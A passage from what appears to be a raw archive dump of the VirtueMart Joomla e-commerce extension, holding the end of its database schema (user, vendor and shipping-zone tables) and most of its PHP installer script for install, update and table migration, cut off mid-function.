`i_user_is_vendor` (`user_is_vendor`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds the unique user data' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmuser_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmuser_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for users to shopper group' ; -- -------------------------------------------------------- CREATE TABLE IF NOT EXISTS `#__virtuemart_permgroups` ( `virtuemart_permgroup_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `group_name` char(128), `group_level` int(11), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_permgroup_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds all the user groups' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfields` ( `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `userfield_jplugin_id` int(11) NOT NULL DEFAULT '0', `name` char(255) NOT NULL DEFAULT '', `title` char(255) NOT NULL DEFAULT '', `description` mediumtext, `type` char(70) NOT NULL DEFAULT '', `maxlength` int(11), `size` int(11), `required` tinyint(4) NOT NULL DEFAULT '0', `cols` int(11), `rows` int(11), `value` char(255), `default` char(255), `registration` tinyint(1) NOT NULL DEFAULT '0', `shipment` tinyint(1) NOT NULL DEFAULT '0', `account` tinyint(1) NOT NULL DEFAULT '1', `readonly` tinyint(1) NOT NULL DEFAULT '0', `calculated` tinyint(1) NOT NULL DEFAULT '0', `sys` tinyint(4) NOT NULL DEFAULT '0', `params` varchar(17500), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_account` (`account`), KEY `i_shipment` (`shipment`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the fields for the user information' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfield_values` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfield_values` ( `virtuemart_userfield_value_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `fieldtitle` char(255) NOT NULL DEFAULT '', `fieldvalue` char(255) NOT NULL DEFAULT '', `sys` tinyint(4) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_value_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the different values for dropdown and radio lists' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userinfos` ( `virtuemart_userinfo_id` int(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2) NOT NULL DEFAULT '', `address_type_name` char(32) NOT NULL DEFAULT '', `name` char(64), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64), `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(32) NOT NULL DEFAULT '', `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userinfo_id`), KEY `idx_userinfo_virtuemart_user_id` (`virtuemart_userinfo_id`,`virtuemart_user_id`), KEY `address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Customer Information, BT = BillTo and ST = ShipTo'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vendors` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendors` ( `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `vendor_name` char(64), `vendor_currency` int(11), `vendor_accepted_currencies` varchar(1536) NOT NULL DEFAULT '', `vendor_params` varchar(17000), `metarobot` char(20), `metaauthor` char(64), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_vendor_id`), KEY `idx_vendor_name` (`vendor_name`) -- KEY `idx_vendor_category_id` (`vendor_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Vendors manage their products in your store' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_vendor_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendor_medias` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_waitingusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_waitingusers` ( `virtuemart_waitinguser_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `notify_email` char(150) NOT NULL DEFAULT '', `notified` tinyint(1) NOT NULL DEFAULT '0', `notify_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_waitinguser_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `notify_email` (`notify_email`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores notifications, users waiting f. products out of stock' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_worldzones` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_worldzones` ( `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1), `zone_name` char(255), `zone_cost` decimal(10,2), `zone_limit` decimal(10,2), `zone_description` varchar(18000), `zone_tax_rate` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_worldzone_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The Zones managed by the Zone Shipment Module' AUTO_INCREMENT=1 ; PKB\3bbinstall/script.virtuemart.phpnuW+Apath = JInstaller::getInstance()->getPath('extension_administrator'); if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } require_once($this->path.DS.'helpers'.DS.'config.php'); JTable::addIncludePath($this->path.DS.'tables'); JModel::addIncludePath($this->path.DS.'models'); } public function checkIfUpdate(){ $update = false; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SHOW TABLES LIKE "%virtuemart_adminmenuentries%"'; //=>jos_virtuemart_shipment_plg_weight_countries $this->_db->setQuery($q); if($this->_db->loadResult()){ $q = "SELECT count(id) AS idCount FROM `#__virtuemart_adminmenuentries`"; $this->_db->setQuery($q); $result = $this->_db->loadResult(); if (empty($result)) { $update = false; } else { $update = true; } } else { $update = false; } $this->update = $update; return $update; } /** * Pre-process method (e.g. install/upgrade) and any header HTML * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent * @return boolean True if VM exists, null otherwise */ public function preflight ($type, $parent=null) { //We want disable the redirect in the installation process if(version_compare(JVERSION,'1.6.0','ge')) { $q = 'DELETE FROM `#__menu` WHERE `menutype` = "main" AND (`link`="index.php?option=com_virtuemart" OR `alias`="virtuemart" )'; $this->_db = JFactory::getDbo(); $this->_db -> setQuery($q); $this->_db -> query(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ $app = JFactory::getApplication(); $app ->enqueueMessage('Error deleting old vm admin menu (BE) '.$error); } } } /** * Install script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function install ($loadVm = true) { if($loadVm) $this->loadVm(); if($this->checkIfUpdate()){ return $this->update($loadVm); } $_REQUEST['install'] = 1; $this -> joomlaSessionDBToMediumText(); // install essential and required data // should this be covered in install.sql (or 1.6's JInstaller::parseSchemaUpdates)? // if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'updatesMigration.php'); $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); $model = JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_essential_data.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_required_data.sql',$lang); //$id = $model->determineStoreOwner(); $model->setStoreOwner(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; // if(version_compare(JVERSION,'1.6.0','ge')) { $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'shipment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'payment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'invoices'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'typeless'); $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->displayFinished(false); //include($this->path.DS.'install'.DS.'install.virtuemart.html.php'); // perhaps a redirect to updatesMigration here rather than the html file? // $parent->getParent()->setRedirectURL('index.php?option=com_virtuemart&view=updatesMigration'); return true; } /** * creates a folder with empty html file * * @author Max Milbers * */ public function createIndexFolder($path){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if(JFolder::create($path)) { if(!JFile::exists($path .DS. 'index.html')){ JFile::copy(JPATH_ROOT.DS.'components'.DS.'index.html', $path .DS. 'index.html'); } return true; } return false; } /** * Update script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function update ($loadVm = true) { if($loadVm) $this->loadVm(); if(!$this->checkIfUpdate()){ return $this->install($loadVm); } //Delete Cache $cache = JFactory::getCache(); $cache->clean(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); if(empty($this->path)) $this->path = JPATH_VM_ADMINISTRATOR; $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'updatesmigration.php'); $model = new VirtueMartModelUpdatesMigration(); //JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $this -> joomlaSessionDBToMediumText(); $this->alterTable('#__virtuemart_product_prices', array( 'product_price_vdate' => '`product_price_publish_up` DATETIME NULL DEFAULT NULL AFTER `product_currency`', 'product_price_edate' => '`product_price_publish_down` DATETIME NULL DEFAULT NULL AFTER `product_price_publish_up`' )); $this->alterTable('#__virtuemart_medias', array( 'file_url' => '`file_url` varchar(900) NOT NULL DEFAULT ""', 'file_params' => '`file_params` varchar(17500)', 'file_url_thumb' => '`file_url_thumb` varchar(900) NOT NULL DEFAULT ""', ) ); $this->deleteReCreatePrimaryKey('#__virtuemart_userinfos','virtuemart_userinfo_id'); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->updateMyVmTables(); $result = $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->adjustDefaultOrderStates(); $this->fixOrdersVendorId(); $this->updateAdminMenuEntries(); $this->fixConfigValues(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; if(JFolder::exists($src)){ $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); } if($loadVm) $this->displayFinished(true); return true; } private function fixConfigValues(){ if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); $data = array(); $list_limit = VmConfig::get('list_limit',0); if(!empty($list_limit)){ $data['llimit_init_BE'] = $list_limit; $data['llimit_init_FE'] = $list_limit; } $pagseq = VmConfig::get('pagination_sequence',0); if(!empty($pagseq)){ $data['pagseq'] = $pagseq; $data['pagseq_1'] = $pagseq; $data['pagseq_2'] = $pagseq; $data['pagseq_3'] = $pagseq; $data['pagseq_4'] = $pagseq; $data['pagseq_5'] = $pagseq; } $configModel = VmModel::getModel('config'); $configModel->store($data); } private function fixOrdersVendorId(){ $multix = Vmconfig::get('multix','none'); if( $multix == 'none'){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $q = 'SELECT `virtuemart_user_id` FROM #__virtuemart_orders WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->loadResult(); if($res){ //vmdebug('fixOrdersVendorId ',$res); $q = 'UPDATE #__virtuemart_orders SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update orders '.$err); } $q = 'UPDATE #__virtuemart_order_items SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update order_item '.$err); } } } } private function adjustDefaultOrderStates(){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $order_stock_handles = array('P'=>'R', 'C'=>'R', 'X'=>'A', 'R'=>'A', 'S'=>'O'); foreach($order_stock_handles as $k=>$v){ $q = 'SELECT `order_stock_handle` FROM `#__virtuemart_orderstates`'; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(empty($res) and empty($err) ){ $q = 'UPDATE `#__virtuemart_orderstates` SET `order_stock_handle`="'.$v.'" WHERE `order_status_code`="'.$k.'" ;'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } } private function updateAdminMenuEntries() { if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `#__virtuemart_adminmenuentries` WHERE `view` = "log" '; $this->_db->setQuery($query); $result = $this->_db->loadResult(); if(empty($result) || !$result ){ // get the module id of the migration $query = 'SELECT module_id FROM `#__virtuemart_adminmenuentries` WHERE `view` = "updatesmigration" '; $this->_db->setQuery($query); $module_id = $this->_db->loadResult(); if( $module_id){ $q = "INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null, ".$module_id.", 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', '')"; $this->_db->setQuery($q); $this->_db->query(); $app = JFactory::getApplication(); $app->enqueueMessage('Added Log Menu entry ' ); } } } /** * @author Max Milbers * @param unknown_type $tablename * @param unknown_type $fields * @param unknown_type $command */ private function alterTable($tablename,$fields,$command='CHANGE'){ $ok = true; if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SHOW COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); foreach($fields as $fieldname => $alterCommand){ if(in_array($fieldname,$columns)){ $query = 'ALTER TABLE `'.$tablename.'` '.$command.' COLUMN `'.$fieldname.'` '.$alterCommand; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } return $ok; } /** * * @author Max Milbers * @param unknown_type $table * @param unknown_type $field * @param unknown_type $action * @return boolean This gives true back, WHEN it altered the table, you may use this information to decide for extra post actions */ private function checkAddFieldToTable($table,$field,$fieldType){ $query = 'SHOW COLUMNS FROM `'.$table.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); if(!in_array($field,$columns)){ $query = 'ALTER TABLE `'.$table.'` ADD '.$field.' '.$fieldType; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install checkAddFieldToTable '.$this->_db->getErrorMsg() ); return false; } else { vmdebug('checkAddFieldToTable added '.$field); return true; } } return false; } private function addToRequired($table,$fieldname,$fieldvalue,$insert){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `'.$table.'` WHERE '.$fieldname.' = "'.$fieldvalue.'" '; $this->db->setQuery($query); $result = $this->db->loadResult(); if(empty($result) || !$result ){ $this->db->setQuery($insert); if(!$this->db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Install addToRequired '.$this->db->getErrorMsg() ); } } } private function deleteReCreatePrimaryKey($tablename,$fieldname){ //Does not work, the keys must be regenerated // $query = 'ALTER TABLE `#__virtuemart_userinfos` CHANGE COLUMN `virtuemart_userinfo_id` `virtuemart_userinfo_id` INT(1) NOT NULL AUTO_INCREMENT FIRST'; // $this->_db->setQuery($query); // if(!$this->_db->query()){ // } else { // $query = 'ALTER TABLE `#__virtuemart_userinfos` AUTO_INCREMENT = 1'; // $this->_db->setQuery($query); // } $query = 'SHOW FULL COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $fullColumns = $this->_db->loadObjectList(); $force = false; if($force or $fullColumns[0]->Field==$fieldname and strpos($fullColumns[0]->Type,'char')!==false){ vmdebug('Old key found, recreate'); // Yes, I know, it looks senselesss to create a field without autoincrement, to add a key and then the autoincrement and then they key again. // But seems the only method to drop and recreate primary, which has already data in it //First drop it $fields = array($fieldname => ''); if($this->alterTable($tablename,$fields,'DROP')){ //Now make the field, nothing must be entered $added = $this->checkAddFieldToTable($tablename,$fieldname,"INT(1) UNSIGNED NOT NULL FIRST"); if($added){ //Yes it should be primary, ohh it gets sorted, great $q = 'ALTER TABLE `'.$tablename.'` ADD KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey add KEY '.$this->_db->getErrorMsg() ); } //ahh, now we can make it auto_increment $fields = array($fieldname => '`'.$fieldname.'` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT FIRST'); $this->alterTable($tablename,$fields); //Great, now it actually takes the attribute being a primary $q = 'ALTER TABLE `'.$tablename.'` ADD PRIMARY KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } else { $q = 'ALTER TABLE `'.$tablename.'` DROP INDEX `'.$fieldname.'`'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } } } } } } /** * Checks if both types of default shoppergroups are set * @author Max Milbers */ private function checkAddDefaultShoppergroups(){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "1" '; $this->_db = JFactory::getDbo(); $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-default-', 'This is the default shopper group.', 1, 1);"; $this->_db->setQuery($q); $this->_db->query(); } $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "2" '; $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-anonymous-', 'Shopper group for anonymous shoppers', 2, 1);"; $this->_db->setQuery($q); $this->_db->query(); } } private function changeShoppergroupDataSetAnonShopperToOne(){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE virtuemart_shoppergroup_id = "1" '; $this->_db->setQuery($q); $sgroup = $this->_db->loadAssoc(); if($sgroup['default']!=2){ if(!class_exists('TableShoppergroups')) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'shoppergroups.php'); $table = new TableShoppergroups($this->_db); $stdgroup = null; $stdgroup = array('virtuemart_shoppergroup_id' => 1, 'virtuemart_vendor_id' => 1, 'shopper_group_name' => '-anonymous-', 'shopper_group_desc' => 'Shopper group for anonymous shoppers', 'default' => 2, 'published' => 1, 'shared' => 1 ); $table -> bindChecknStore($stdgroup); $sgroup['virtuemart_shoppergroup_id'] = 0; $table = new TableShoppergroups($this->_db); $table -> bindChecknStore($sgroup); vmdebug('changeShoppergroupDataSetAnonShopperToOne $table',$table); } } private function joomlaSessionDBToMediumText(){ if(version_compare(JVERSION,'1.6.0','ge')) { $fields = array('data'=>'`data` mediumtext NULL AFTER `time`'); $this->alterTable('#__session',$fields); } } /** * Uninstall script * Triggers before database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function uninstall ($parent=null) { if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } //$this->loadVm(); include($this->path.DS.'install'.DS.'uninstall.virtuemart.html.php'); return true; } /** * Post-process method (e.g. footer HTML, redirect, etc) * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent */ public function postflight ($type, $parent=null) { //We want disable the redirect in the installation process if ($type != 'uninstall') { $this->loadVm(); // VmConfig::loadConfig(true); //if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); //if($res){ JRequest::setVar(JUtility::getToken(), '1', 'post'); $config = JModel::getInstance('config', 'VirtueMartModel'); $config->setDangerousToolsOff(); //} } $_REQUEST['install'] = 0; //Test if vm1.1 is installed and rename file to avoid conflicts if(JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'toolbar.php')){ JFile::move('toolbar.php','toolbar.vm1.php',JPATH_VM_ADMINISTRATOR); } //Prevents overwriting existing file. // if(!JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg')){ // JFile::copy('virtuemart_defaults.cfg-dist','virtuemart_defaults.cfg',JPATH_VM_ADMINISTRATOR); // } return true; } /** * copy all $src to $dst folder and remove it * * @author Max Milbers * @param String $src path * @param String $dst path * @param String $type modules, plugins, languageBE, languageFE */ private function recurse_copy($src,$dst ) { $dir = opendir($src); $this->createIndexFolder($dst); if(is_resource($dir)){ while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src .DS. $file) ) { $this->recurse_copy($src .DS. $file,$dst .DS. $file); } else { if(JFile::exists($dst .DS. $file)){ if(!JFile::delete($dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt delete '.$dst .DS. $file); } } if(!JFile::move($src .DS. $file,$dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt move '.$src .DS. $file.' to '.$dst .DS. $file); } } } } closedir($dir); if (is_dir($src)) JFolder::delete($src); } else { $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt read dir '.$dir.' source '.$src); } } /** * The param update IS used in the layout, do not remove * @param $update */ public function displayFinished($update){ include(JPATH_VM_ADMINISTRATOR.'/views/updatesmigration/tmpl/insfinished.php'); } } /** * Legacy j1.5 function to use the 1.6 class install/update * * @return boolean True on success * @deprecated */ function com_install() { $vmInstall = new com_virtuemartInstallerScript(); $upgrade = $vmInstall->checkIfUpdate(); if(version_compare(JVERSION,'1.6.0','ge')) { // 